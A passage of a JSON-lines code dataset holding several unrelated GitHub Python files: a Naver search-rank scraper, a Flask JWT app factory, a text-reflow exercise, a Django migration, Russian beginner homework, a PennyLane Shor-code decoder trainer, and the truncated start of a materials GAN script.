NT 10.0; Win64; x64) \\\n AppleWebKit/537.36 (KHTML, like Gecko) \\\n Chrome/60.0.3112.113 Whale/1.0.41.8 Safari/537.36'\nsess.headers['User-Agent'] = user_agent\n\n# 네이버 데이터 랩의 검색어 순위 페이지 가져오기\nreq = sess.get('https://datalab.naver.com/keyword/realtimeList.naver')\n\n# 정상적으로 페이지를 가져왔는지 확인\nif req.status_code == 200:\n # 가져온 페이지의 HTML 텍스트를 추출\n html = req.text\n\n # BeautifulSoup를 이용하여 html 파싱\n soup = BeautifulSoup(html, 'html.parser')\n\n # 가장 최근에 갱신된 네이버 검색어 순위를 가져옴\n keyword = soup.find('div', class_='keyword_rank select_date')\n\n # 언제 갱신되었는지 추출하여 보여줌\n print(keyword.find('strong', class_='rank_title v2').text)\n\n # 검색어 순위 정보를 추출함\n keywordL = keyword.find_all('li')\n keywordL = list(map(lambda x: x.text.split(), keywordL))\n\n # 추출한 검색어 순위 정보를 보여줌\n for l in keywordL:\n print(' '.join(l))\nelse:\n # 페이지를 가져오는데 실패하였을 때\n print('HTTP 통신에 실패하였습니다.')","repo_name":"clianor/WebCrawling","sub_path":"1. naverSearchRank.py","file_name":"1. naverSearchRank.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"37564818578","text":"import os\nimport datetime\nimport click\n\nfrom flask import Flask\nfrom flask_jwt_extended import JWTManager\nfrom flask_migrate import Migrate\nfrom config import config\n\ndef create_app(config_name='default'):\n # create and configure the app\n app = Flask(__name__, instance_relative_config=True)\n app.config.from_mapping(\n SECRET_KEY =\"dev\",\n SQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(app.instance_path, 'database.sqlite'),\n SQLALCHEMY_TRACK_MODIFICATIONS = False,\n JWT_SECRET = \"dev\",\n JWT_ACCESS_TOKEN_EXPIRES = datetime.timedelta(days=1),\n JWT_TOKEN_LOCATION = ['cookies'],\n JWT_ACCESS_COOKIE_PATH = '/',\n JWT_REFRESH_COOKIE_PATH = '/refresh',\n JWT_COOKIE_CSRF_PROTECT = True,\n JWT_COOKIE_SECURE = False\n )\n\n #load the instance config if it exists when not testing\n #app.config.from_pyfile('config.py', silent=True)\n\n #app.config.from_mapping(\n # SECRET_KEY =\"dev\",\n # SQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(app.instance_path, 'database.sqlite'),\n # SQLALCHEMY_TRACK_MODIFICATIONS = False,\n # JWT_SECRET = \"dev\",\n # JWT_ACCESS_TOKEN_EXPIRES = datetime.timedelta(days=1)\n #)\n\n #load the instance config if it exists when not testing\n #app.config.from_pyfile('config.py', silent=True)\n app.config.from_object(config[config_name])\n\n # ensure the instance folder exists\n try:\n os.makedirs(app.instance_path)\n except OSError:\n pass\n\n from .models import db, User, bcrypt\n db.init_app(app)\n bcrypt.init_app(app)\n\n # initialize the migration command\n migrate = Migrate(app, db)\n\n # pass the app context to the views\n #with app.app_context():\n # import the registration and authentication api from views\n from .views.auth_api import(\n jwt, RegisterAPI, AuthenticateAPI, RefreshAPI, FreshLogin, ValidateToken, ValidateFreshToken, Home, LogoutAPI, GetUsers\n )\n jwt.init_app(app)\n # add the url rules\n app.add_url_rule('/register', view_func=RegisterAPI.as_view('register'))\n app.add_url_rule('/login', view_func=AuthenticateAPI.as_view('login'))\n app.add_url_rule('/logout', view_func=LogoutAPI.as_view('logout'))\n app.add_url_rule('/refresh', view_func=RefreshAPI.as_view('refresh'))\n app.add_url_rule('/fresh_login', view_func=FreshLogin.as_view('fresh_login'))\n app.add_url_rule('/validate_token', view_func=ValidateToken.as_view('validate_token'))\n app.add_url_rule('/validate_fresh_token', view_func=ValidateFreshToken.as_view('validate_fresh_token'))\n app.add_url_rule('/users', view_func=GetUsers.as_view('users'))\n app.add_url_rule('/home', view_func=Home.as_view('home'))\n\n # register the test module to add the \"flask test\" click command\n # uncomment the following two lines when testing\n # import tests\n # tests.test_init_app(app)\n\n return app\n\n","repo_name":"singhg93/flask_jwt_authenticator","sub_path":"jwtAuthenticator/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2913,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"33563793372","text":"import sys\n\ndef print_file(filename):\n handle = open(filename, 'r')\n lines = handle.readlines()\n handle.close()\n return print(lines)\n \ndef print_lines(filename):\n handle = open(filename, 'r')\n lines = handle.readlines()\n for line in lines:\n line = line.rstrip('\\n\\r')\n print(line)\n handle.close()\n return line\n\ndef print_splits(filename):\n handle = open(filename, 'r')\n lines = handle.readlines()\n for line in lines:\n line = line.rstrip('\\n\\r')\n words_in_line = line.split()\n print(words_in_line)\n handle.close()\n return words_in_line\n\ndef print_words(filename):\n handle = open(filename, 'r')\n lines = handle.readlines()\n for line in lines:\n line = line.rstrip('\\n\\r')\n words_in_line = line.split()\n for word in words_in_line:\n print(word, end=\" \")\n handle.close()\n print()\n return line\n\ndef words_length(filename):\n handle = open(filename, 'r')\n lines = handle.readlines()\n for line in lines:\n line = line.rstrip('\\n\\r')\n words_in_line = line.split()\n line_length = 0\n for word in words_in_line:\n line_length += len(word) + 1\n print(line_length)\n handle.close()\n print(line_length)\n return line\n\ndef print_reflowed(filename, width):\n handle = open(filename, 'r')\n lines = handle.readlines()\n for line in lines:\n line = line.rstrip('\\n\\r')\n words_in_line = line.split()\n line_length = 0\n for word in words_in_line:\n line_length += len(word) + 1\n if (line_length + 1 + len(word)) > width:\n line_length = 0\n print( )\n print(word, end=\" \")\n handle.close()\n return line\n\ndef print_right_aligned(filename, width):\n handle = open(filename, 'r')\n lines = handle.readlines()\n for line in lines:\n line = line.rstrip('\\n\\r')\n words_in_line = line.split()\n line_length = 0\n words = []\n for word in words_in_line:\n line_length += len(word) + 1\n words.append(word)\n if (line_length + 1 + len(word)) > width:\n spaces = width - line_length\n print(\" \"*spaces, end=\"\")\n for word in words:\n print(word, end=\" \")\n print()\n line_length = 0\n words = []\n \n handle.close()\n return \n\ndef print_justified(filename, width):\n handle = open(filename, 'r')\n lines = handle.readlines()\n for line in lines:\n line = line.rstrip('\\n\\r')\n words_in_line = line.split()\n line_length = 0\n words = []\n for word in words_in_line:\n line_length += len(word) + 1\n words.append(word)\n if (line_length + 1 + len(word)) > width:\n spaces = width - line_length\n for word in words:\n print(word, end=\" \")\n if spaces > 5:\n print(\" \"*2, end=\"\")\n spaces -= 2\n elif spaces > 3:\n print(\" \"*1, end=\"\")\n spaces -= 1\n else:\n pass\n print()\n line_length = 0\n words = []\n \n handle.close()\n\ndef main():\n filename = 'independence.txt'\n width = 40\n print(\"print file:\")\n print(\"--------------------\")\n print_file(filename)\n print(\"print lines:\")\n print(\"--------------------\")\n print_lines(filename)\n print(\"print splits:\")\n print(\"--------------------\")\n print_splits(filename)\n print(\"print words:\")\n print(\"--------------------\")\n print_words(filename)\n print(\"words length:\")\n print(\"--------------------\")\n words_length(filename)\n print(\"print reflowed:\")\n print(\"--------------------\")\n print_reflowed(filename, width)\n print(\"print right_aligned:\")\n print(\"--------------------\")\n print_right_aligned(filename, width)\n print(\"print justified:\")\n print(\"--------------------\")\n print_justified(filename, width)\n\nif __name__ == '__main__':\n main()\n","repo_name":"Skellbags/Previous-Programs","sub_path":"CS-417/lab06/reflow.py","file_name":"reflow.py","file_ext":"py","file_size_in_byte":4223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"31538400904","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport jsonfield.fields\nimport versionfield\nimport django.utils.timezone\nimport django_extensions.db.fields\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Action',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('created', django_extensions.db.fields.CreationDateTimeField(default=django.utils.timezone.now, verbose_name='created', editable=False, blank=True)),\n ('modified', django_extensions.db.fields.ModificationDateTimeField(default=django.utils.timezone.now, verbose_name='modified', editable=False, blank=True)),\n ('event', models.PositiveSmallIntegerField(help_text=b'Contains a fixed string denoting when this action should be run.', choices=[(2, b'postinstall'), (1, b'install'), (3, b'update'), (0, b'preinstall')])),\n ('run', models.CharField(help_text=b'The name of an installer binary to run.', max_length=255, null=True, blank=True)),\n ('arguments', models.CharField(help_text=b'Arguments to be passed to that installer binary.', max_length=255, null=True, blank=True)),\n ('successurl', models.URLField(help_text=b\"A URL to be opened using the system's default web browser on a successful install.\", null=True, blank=True)),\n ('terminateallbrowsers', models.BooleanField(default=False, help_text=b'If \"true\", close all browser windows before starting the installer binary.')),\n ('successsaction', models.CharField(help_text=b'Contains a fixed string denoting some action to take in response to a successful install', max_length=255, null=True, blank=True)),\n ('other', jsonfield.fields.JSONField(help_text=b'JSON format', null=True, verbose_name=b'Other attributes', blank=True)),\n ],\n options={\n 'db_table': 'actions',\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Application',\n fields=[\n ('created', django_extensions.db.fields.CreationDateTimeField(default=django.utils.timezone.now, verbose_name='created', editable=False, blank=True)),\n ('modified', django_extensions.db.fields.ModificationDateTimeField(default=django.utils.timezone.now, verbose_name='modified', editable=False, blank=True)),\n ('id', models.CharField(max_length=38, serialize=False, primary_key=True)),\n ('name', models.CharField(unique=True, max_length=30, verbose_name=b'App')),\n ],\n options={\n 'db_table': 'applications',\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Channel',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('created', django_extensions.db.fields.CreationDateTimeField(default=django.utils.timezone.now, verbose_name='created', editable=False, blank=True)),\n ('modified', django_extensions.db.fields.ModificationDateTimeField(default=django.utils.timezone.now, verbose_name='modified', editable=False, blank=True)),\n ('name', models.CharField(unique=True, max_length=10, verbose_name=b'Channel', db_index=True)),\n ],\n options={\n 'db_table': 'channels',\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Platform',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('created', django_extensions.db.fields.CreationDateTimeField(default=django.utils.timezone.now, verbose_name='created', editable=False, blank=True)),\n ('modified', django_extensions.db.fields.ModificationDateTimeField(default=django.utils.timezone.now, verbose_name='modified', editable=False, blank=True)),\n ('name', models.CharField(unique=True, max_length=10, verbose_name=b'Platform', db_index=True)),\n ],\n options={\n 'db_table': 'platforms',\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Version',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('created', django_extensions.db.fields.CreationDateTimeField(default=django.utils.timezone.now, verbose_name='created', editable=False, blank=True)),\n ('modified', django_extensions.db.fields.ModificationDateTimeField(default=django.utils.timezone.now, verbose_name='modified', editable=False, blank=True)),\n ('version', versionfield.VersionField(help_text=b'Format: 255.255.65535.65535')),\n ('release_notes', models.TextField(null=True, blank=True)),\n ('file', models.FileField(upload_to=b'')),\n ('file_hash', models.CharField(max_length=140, null=True, verbose_name=b'Hash', blank=True)),\n ('app', models.ForeignKey(to='omaha.Application')),\n ('channel', models.ForeignKey(to='omaha.Channel')),\n ('platform', models.ForeignKey(to='omaha.Platform')),\n ],\n options={\n 'db_table': 'versions',\n },\n bases=(models.Model,),\n ),\n migrations.AlterUniqueTogether(\n name='version',\n unique_together=set([('app', 'platform', 'channel', 'version')]),\n ),\n migrations.AlterIndexTogether(\n name='version',\n index_together=set([('app', 'platform', 'channel', 'version')]),\n ),\n migrations.AddField(\n model_name='action',\n name='version',\n field=models.ForeignKey(related_name=b'actions', to='omaha.Version'),\n preserve_default=True,\n ),\n ]\n","repo_name":"omaha-consulting/omaha-server","sub_path":"omaha_server/omaha/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":6242,"program_lang":"python","lang":"en","doc_type":"code","stars":201,"dataset":"github-code","pt":"62"} +{"seq_id":"17613290326","text":"#При заданном целом трехзначном числе n посчитайте n + nn + nnn:\\\nx = int(input())\n\nprint(x + (x * x) + (x * x * x))\n\n#Сложите цифры целого числа\nx = input()\n\nprint(sum(map(int,x)))\n\n#Найти корень третьей степени из 343:\nprint(343**(1/3))\n#из любого числа:\nx = int(input())\n\nprint(x**(1/3))\n\n#В строке удалить все буквы \"а\" и подсчитать количество удаленных символов:\nx = str(input())\n\nprint(x.count(\"a\"))\nprint(x.replace(\"a\", \"\"))\n\n#Написать произвольную анкету и вывести полученные данные:\nfirst_name = input()\nlast_name = input()\ngender = input()\nage = input()\ncity = input()\n\nprint(f'Имя:{first_name} Фамилия:{last_name} Пол:{gender} Возраст:{age} Город:{city}')\n\n#Проверить, что номера телефонов состоят только из цифр. Они могут начинаться с \"+\",\n#цифры могут разделяться пробелами и дефисами:\nrow_number = str(input())\n\nnumber2 = row_number.replace(\"+\", \"\")\nnumber1 = number2.replace(\" \", \"\")\nnumber = number1.replace(\"-\", \"\")\n\nprint(number.isdigit())\n\n#Посчитать количество слов в строке:\nx = input()\n\nx = x.split()\ny = len(x)\n\nprint(y)\n\n#Дана строка содержащая полное имя файла,\n# например, С:\\development\\inside\\test-project_management\\inside\\myfile.txt\n# Выделите из этой строки имя файла без расширения:\nfull_name = 'С:\\development\\inside\\test-project_management\\inside\\myfile.txt'\n\n\nname2 = full_name.split(\"\\\\\")\nname1 = name2[-1]\nname = name1.split(\".\")\n\nprint(name[0])\n","repo_name":"belyaevairina/python_training","sub_path":"ДЗ1.py","file_name":"ДЗ1.py","file_ext":"py","file_size_in_byte":1844,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"42679643755","text":"import pennylane as qml\n\nfrom pennylane import numpy as np\nfrom pennylane.optimize import GradientDescentOptimizer, AdamOptimizer\nfrom pennylane.ops import Hadamard, RX, CNOT, PauliX, PauliZ\nfrom pyquil.api import WavefunctionSimulator\n\nfrom pennylane.ops import Hadamard, RX, CNOT\nfrom pennylane_forest.ops import CCNOT\n\nimport random\nimport pickle\nimport matplotlib.pyplot as plt\n\n\n\n##############################################################\n\ntest_dev = qml.device('forest.qvm', device='12q-pyqvm', noise=False, shots=1000)\nground_truth = 0\n\nrecorded_loss_list = []\nrecorded_measurement_list = []\n\n\ndef pickle_list(list_obj, filename):\n with open(filename, \"wb\") as f:\n pickle.dump(list_obj, f)\n\ndef plot_loss(filename):\n # Load the pickle file\n loss_values = None\n with open(filename, 'rb') as pickle_file:\n loss_values = pickle.load(pickle_file)\n\n # Matpolot lib it\n plt.plot(loss_values)\n plt.xlabel(\"Iteration #\")\n plt.ylabel(\"MSE Loss\")\n plt.title(\"Shor-inspired Model Loss with lr=0.01\")\n plt.savefig(filename[:-4] + \".png\")\n plt.show()\n\n\ndef save_weights(weights, filename):\n np.save(filename, weights)\n\n\ndef load_weights(filename):\n # DEPRECATED\n return np.load(filename)\n\n\n # Compares the original shor encoding measurements with the ones from the learned circuit\ndef compare_ground_truth_and_circuit(num_iterations, weights):\n accumulated_error = 0.0\n\n reference_zero = get_reference_zero_qbit()\n\n print(\"Reference zero: %f\" % reference_zero)\n\n for i in range(num_iterations):\n # Assume we're making sure we always get back a 0\n # First step is getting the corrupted Shor encdoing\n ground_truth = reset_circuit()[0]\n\n print(\"\\nGROUND TRUTH :%f\" % ground_truth)\n # now round ground truth\n # ground_truth = int(round(ground_truth))\n if random.random() < 0.5:\n print(\"FLIPPING BIT\")\n ground_truth = flip_startbit()\n reset_circuit()\n # ground_truth = (ground_truth + 1) % 2\n ground_truth = (-1) * ground_truth\n\n print(\"After rounding ground truth: %f\" % ground_truth)\n\n\n recovered_bit_label = get_circuit_decoding_output(weights)\n\n error = np.abs(ground_truth - recovered_bit_label)\n accumulated_error += error\n print(\"predicted label: %f\" % recovered_bit_label)\n print(\"added to error: %f\" % error)\n\n # reset\n reset_circuit()\n # reference_zero = get_reference_zero_qbit()\n\n print(\"Accumulated error: %f\" % accumulated_error)\n\ndef add_single_qubit_error():\n \"\"\"\n Applies either a sign flip (Z-gate) or a bit flip (X-gate)\n or both to a randomly selected qubit to simulate a single\n bit error in a noisy channel.\n \"\"\"\n qbit = random.randint(0, 8)\n p = random.random()\n if p < 0.33:\n qml.PauliX(qbit)\n elif p < 0.66:\n # TODO: figure out why phase flip doesn't appear to be changing\n # the expectation values -- maybe because we are measuring\n # in the Z basis?\n # print(qbit, \": phase\")\n # qml.Hadamard(qbit)\n qml.PauliZ(qbit)\n else:\n qml.PauliX(qbit)\n qml.PauliZ(qbit)\n\ndef bit_encode(qbit1, qbit2, qbit3):\n qml.CNOT(wires=[qbit1, qbit2])\n qml.CNOT(wires=[qbit2, qbit3])\n\n\ndef hadamard_list(qbit_list):\n for qbit in qbit_list:\n qml.Hadamard(qbit)\n\n@qml.qnode(test_dev)\ndef reset_circuit(set_to_ones=False):\n \"\"\"\n Used in loss_function, so this doesn't have to be a qnode.\n \"\"\"\n qml.RX(0, wires=0)\n qml.RX(0, wires=1)\n qml.RX(0, wires=2)\n qml.RX(0, wires=3)\n qml.RX(0, wires=4)\n qml.RX(0, wires=5)\n qml.RX(0, wires=6)\n qml.RX(0, wires=7)\n qml.RX(0, wires=8)\n qml.RX(0, wires=9)\n\n if set_to_ones:\n print(\"Flipping a bit in the reset_circuit()\")\n qml.PauliX(wires=0)\n\n #TODO: Figure out whether we are supposed to measure in the Pauli-Z axis or not. Might have to be X-axis?\n return qml.expval.PauliZ(0), qml.expval.PauliZ(1), qml.expval.PauliZ(2), qml.expval.PauliZ(3), qml.expval.PauliZ(4), qml.expval.PauliZ(5), qml.expval.PauliZ(6), qml.expval.PauliZ(7), qml.expval.PauliZ(8), qml.expval.PauliZ(9)\n\n\n\ndef correct_to_ground(ground_truth):\n if int(round(ground_truth)):\n qml.PauliX(wires=0)\n\n@qml.qnode(test_dev)\ndef flip_startbit():\n print(\"flipping the bit\")\n qml.PauliX(wires=0)\n qml.PauliX(wires=1)\n\n # Just return the value of the second qubit instead\n return qml.expval.PauliZ(wires=1)\n\n\ndef shor_encoding():\n # Always have the 0 bit be the start bit\n # Measure it so it's set to 0\n\n first_level_qubits = (0, 3, 6)\n bit_encode(*first_level_qubits)\n\n # apply hadamard\n hadamard_list(first_level_qubits)\n\n for qubit in first_level_qubits:\n bit_encode(qubit, qubit+1, qubit+2)\n\n # Simulate single qubit errors\n add_single_qubit_error()\n\n\ndef shor_decoding_model_charissa_attempt(weights):\n assert (weights.shape == (2,))\n\n for i in [0, 3, 6]:\n qml.CNOT(wires=[i, i+1])\n qml.CNOT(wires=[i, i+2])\n CCNOT(wires=[i+1, i+2, i])\n\n # In the traditional Shor decoding circuit, there is an H gate here.\n # See if these rotations can be learned to imitate a Hadamard gate\n qml.RX(weights[0], wires=i)\n qml.RZ(weights[1], wires=i)\n\n qml.CNOT(wires=[0, 3])\n qml.CNOT(wires=[0, 6])\n CCNOT(wires=[3, 6, 0])\n\n # Output the qubit to wire 9\n output_wire = 9\n qml.CNOT(wires=[0, output_wire])\n qml.CNOT(wires=[3, output_wire])\n qml.CNOT(wires=[6, output_wire])\n\n\n\ndef shor_decoding_model_traditional(weights):\n assert(weights.shape == (3,))\n\n for i in [0, 3, 6]:\n qml.CNOT(wires=[i, i+1])\n qml.CNOT(wires=[i, i+2])\n CCNOT(wires=[i+1, i+2, i])\n\n # In the traditional Sho decoding circuit, there is an H gate here.\n # See if these rotations can be learned to imitate a Hadamard gate\n qml.RZ(weights[0], wires=i)\n qml.RX(weights[1], wires=i)\n qml.RZ(weights[2], wires=i)\n\n qml.CNOT(wires=[0, 3])\n qml.CNOT(wires=[0, 6])\n CCNOT(wires=[3, 6, 0])\n\n # Output the qubit to wire 9\n output_wire = 9\n qml.CNOT(wires=[0, output_wire])\n\n\n\n\ndef shor_decoding_model(weights):\n nb_layers, nb_qubits, _ = weights.shape\n assert weights.shape[2] == 2\n \n output_wire = 9\n assert nb_qubits == output_wire\n \n # Our neural network: the ansatz from class\n for i in range(nb_layers):\n\n for j in range(nb_qubits):\n # For wires 0-8 inclusive\n qml.RX(weights[i, j, 0], wires=j)\n # qml.RY(weights[i, j, 1], wires=j)\n qml.RZ(weights[i, j, 1], wires=j)\n\n for j in range(nb_qubits - 1):\n qml.CNOT(wires=[j, j+1])\n\n\n qml.CNOT(wires=[8, output_wire])\n\n\n\n@qml.qnode(test_dev)\ndef get_reference_zero_qbit():\n\n # qml.CNOT(wires=[11, 10])\n qml.RX(0.00, 11)\n\n #TODO: should this be a Pauli-Z rotation as well?\n return qml.expval.PauliZ(wires=11)\n\n\n@qml.qnode(test_dev)\ndef test_zeroes():\n qml.PauliX(wires=0)\n qml.PauliX(wires=0)\n\n return qml.expval.PauliZ(wires=0)\n\n\n\n@qml.qnode(test_dev)\ndef get_circuit_decoding_output(weights, model_fn=shor_decoding_model):\n \"\"\"\n Used only in compare_ground_truth_and_circuit.\n \"\"\"\n # First apply the shor encoding to get the noisy 9 bits\n shor_encoding()\n model_fn(weights)\n\n # entangle and measure the parity\n # wire 10 should have a blank 0 qbit that hasn't been touched yet. CNOT with the output bit\n qml.CNOT(wires=[10, 9])\n return qml.expval.PauliZ(wires=9)\n\n\n\n@qml.qnode(test_dev)\ndef shor_decoding_circuit(weights, model_fn):\n \"\"\"\n Purely used inside the loss_function.\n \"\"\"\n # Run the model/circuit\n shor_encoding()\n model_fn(weights)\n return qml.expval.PauliZ(wires=9)\n \n\n\n\ndef loss_function_MSE(weights):\n return loss_function(weights, as_probability=False)\n\ndef loss_function_probability(weights):\n return loss_function(weights, as_probability=True)\n\n\n\n@qml.qnode(test_dev)\ndef encode_and_decode():\n shor_encoding()\n # shor_decoding_model(weights) # Tried to refactor, but bug upon passing in model as kwarg\n shor_decoding_model_traditional(weights)\n measurement = qml.expval.PauliZ(wires=9)\n return measurement\n\ndef loss_function(weights, as_probability=False):\n # Have shor_encoding prepare and also give back the true value of the bit\n # Get a blank slate for the working Shor bits\n\n\n ground_truth = reset_circuit()[0]\n print(\"GROUND TRUTH :{}\".format(ground_truth))\n assert(int(round(ground_truth)) == -1.0)\n\n # TODO: Ideally we'd like the qubit we are encoding to either 0 or 1. Problem is there are no if-statements in circuits smh\n # With random probability start with 1 as the ground truth bit\n if random.random() < 0.5:\n print(\"FLIPPING BIT\")\n flip_startbit()\n ground_truth = 1.0\n print(\"After [maybe] flipping, ground truth: %f\" % ground_truth)\n\n measurement = encode_and_decode()\n\n reset_circuit()\n\n print(\"Recovered measurement:\")\n print(measurement)\n\n #TODO: validate this is the right thing to do here. Another issue with training could just be a bad loss function\n if as_probability:\n # Small epsiolon for numerical stabilty \n epsilon = 0.000001\n p = (measurement + 1) / 2\n loss = -np.log(p + epsilon) if (ground_truth == 1) else -np.log(1. - p + epsilon)\n else:\n loss = (ground_truth - measurement) ** 2\n\n if isinstance(loss, float):\n recorded_loss_list.append(loss)\n recorded_measurement_list.append(measurement)\n else:\n recorded_loss_list.append(loss._value)\n recorded_measurement_list.append(measurement._value)\n\n print(\"loss value: %s\" % str(loss))\n return loss\n\n\ndef train(weights, loss_fn, pickle_suffix=\"\"):\n # A training loop. Use GDO?\n # Construct our CNOt loss\n alpha = 0.01\n optimizer = AdamOptimizer(alpha)\n\n #TODO: Ideally, we want to train encodings of logical 0 and logical 1.\n # This has been tricky to figure out in terms of PennyLane QNode restrictions.\n # A possable work around is to to have two different optimizers. One for logical 0 and another for logical 1\n\n # Optimize D, fix G\n for it in range(15000):\n print(\"Iteration %d\" % it)\n print(\"Step {}\".format(it + 1))\n weights = optimizer.step(loss_fn, weights)\n print(\"END STEP\\n\\n\\n\")\n\n\n # Save our recorded loss values\n pickle_list(recorded_loss_list, \"logs/recorded_loss_list_%s.pkl\" % pickle_suffix)\n pickle_list(recorded_measurement_list, \"logs/recorded_measurment_list_%s.pkl\" % pickle_suffix)\n return weights\n\n\n##############################################################\n\n\nif __name__ == \"__main__\":\n \n ##################################################\n # Training 2 parameters to learn H gate #\n # shor_decoding_model_traditional() #\n ##################################################\n weights = (np.pi / 3) * np.random.randn(3)\n print(type(weights))\n \n weights = train(weights, \n loss_function_MSE,\n pickle_suffix=\"0605_1408_traditional\")\n \n\n plot_loss(\"logs/recorded_loss_list_0605_1408_traditional.pkl\")\n\n\n # abs_diff = np.sum(np.abs(before_weights - weights))\n # print(\"Total end weight diff: %f\" % abs_diff)\n #\n # save_weights(weights, \"circuit_weights\")\n #\n print(\"weights before\")\n print(weights)\n print(weights.shape)\n\n before_weights = np.copy(weights)\n\n # weights = (np.pi / 3) * np.random.randn(3, 2)\n weights = train(weights, loss_function_probability)\n\n print(\"weights after\")\n print(weights)\n\n abs_diff = np.sum(np.abs(before_weights - weights))\n print(\"Total end weight diff: %f\" % abs_diff)\n\n save_weights(weights, \"circuit_weights\")\n\n #\n # # Other things if necessary\n #\n #\n # # nb_layers = 5\n # # nb_qubits = 9\n # # weights = 0.1 * np.random.randn(nb_layers, nb_qubits, 2)\n # weights = np.load(\"circuit_weights.npy\")\n compare_ground_truth_and_circuit(100, weights)\n","repo_name":"Maninae/quantum-gan-269q","sub_path":"quantum_nn.py","file_name":"quantum_nn.py","file_ext":"py","file_size_in_byte":12190,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"37985494318","text":"import os\nimport re\nimport pymatgen as mg\nimport pymatgen.analysis.diffraction as anadi\nimport pymatgen.analysis.diffraction.xrd as xrd\nimport numpy as np\nimport glob\nimport matplotlib.pyplot as plt\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport math\nimport time\n\n##############################################################\n# define the dir to save the training smaples and test sample.i\n# this .py script is for training the CSS_4O with Mat-GAN \n# the graph network<-structural descriptor--parttern A\n# this script is used to reduplicate the results about Mat-GAN\n# author complete the initial works in the jupyter notebook, we aslo advice users to perform the training of Mat-GAN in this envrionment.\n# By our experiences, the interactive training process helps the users of the GAN.\n\n\n#replace '****' with your path\nperson_path='*******/GAN'\n\ntrain_path=person_path+'/train/'\n\ntest_path=person_path+'/test/'\n\n########\n# this script provides per step of training as a default\n#######\n\n##############################################################\n\n########################################################\n# energy of per atom used to calcualte the binding enegy\nE_Sn=-3.980911\nE_S=-2.696603\nE_Ca=-1.250692\nE_O=-0.867783\n###########################################################\n\n############################################################\n#parameter in the MatGAN\n\n#about parameter\ntorch.set_default_dtype(torch.float64)\ntorch.set_printoptions(precision=8)\n\n#about pymatgen\npatt_xrd = xrd.XRDCalculator('CuKa')\n\n#about inputs of G and D: crystal plane graph network, properties queue\nglobal sample_num, rmat_num, series_num\nsample_num=1 #output of G\nrmat_num=28 #row nums of the matrix for the input of CNN \nseries_num=3 #the number of the element in the queue (D)\n#input of D\n\n\n#about surface energy\nglobal A\nA =12.8282906600000004**2\n################################################\n\n\n######################################\n\n#discriminator\nclass DNet(nn.Module):\n def __init__(self):\n super(DNet, self).__init__()\n self.Dlstm=nn.LSTM(\n input_size=series_num,\n hidden_size=32,\n num_layers=1,\n batch_first=True,\n )\n self.out=nn.Sequential(\n nn.Linear(32,10),\n nn.ReLU(),\n nn.Linear(10,1),\n nn.Sigmoid(),\n )\n #nn.Linear(32,1)\n #nn.Relu\n #nn.Linear\n #nn.Sigmoid\n \n def forward(self,x):\n D_out,(h_n,h_c)=self.Dlstm(x,None)\n out = self.out(D_out[:,-1,:]) #(batch,time step,input) \n return out\n####################################################\n\n\n########################################################\n#get energy from the OUTCAR\ndef get_total_energy(folder):\n energy_string=os.popen('grep TOTEN '+folder+'/OUTCAR | tail -1').read().split(' ')[-2]\n energy_slab=round(np.float64(float(energy_string)),5)\n return energy_slab\n\ndef get_binding_4O(E_t):\n E_binding= (E_t-6*E_Ca-4*E_Sn-10*E_S-4*E_O)/24\n return E_binding\n######################################################\n\n#####################################################\n#preprocessing\n\ndef linear_transform(energy):\n global extend_num, move_num\n energy_transform=(energy-move_num)*extend_num\n return energy_transform\ndef inverse_transform(energy_transform):\n global extend_num, move_num\n energy=energy_transform/extend_num+move_num\n return energy\n\n\nglobal extend_num, move_num\nextend_num=1000\nmove_num=get_total_energy(train_path+'1000')\n#print(move_num)\n\n################################################\n\n\n\n################################################\n#1.extract the PXRD_data from a random poscar.(pymatgen)\n#2.1 deal the PXRD peaks: the preprocessing of PXRD\n#2.2 calculate out the L_matrix of C_P_G_N\n\n# the baseline of pxrd\nt1path=train_path+'1000/CONTCAR'\nt1=mg.Structure.from_file(t1path)\nt1pxrd=patt_xrd.get_pattern(t1)\nglobal base_x,base_y\nbase_x=[]\nbase_y=[]\nfor i in range(len(t1pxrd)):\n if t1pxrd.y[i]>0.25 and t1pxrd.x[i]>20:\n base_x.append(t1pxrd.x[i])\n base_y.append(t1pxrd.y[i])\n\nbase_x=base_x[:28]\nbase_y=base_x[:28]\n\n# randomly select the POSCAR/CONTCAR\ndef random_folder(file_path):\n folder=np.random.choice(glob.glob(file_path +\"*\"))\n #pos_name=folder+'/POSCAR'\n #out_name=folder+'/OUTCAR'\n return folder\n\n# the step about Pymatgen POSCAR-> the format of pymatgen\ndef tomgStructure(folder):\n POSfile=folder+'/CONTCAR' \n R_mgS=mg.Structure.from_file(POSfile)\n return R_mgS\n\n###\n##input_data_to_model\n###\n\ndef get_xrdmat(mgStructure):\n global rmat_num\n xrd_data4 =patt_xrd.get_pattern(mgStructure)\n\n i_column = 28\n xxx=[]\n yyy=[]\n mat4=[]\n xrd_i=len(xrd_data4)\n for i in range(xrd_i):\n if xrd_data4.y[i] >0.25 and 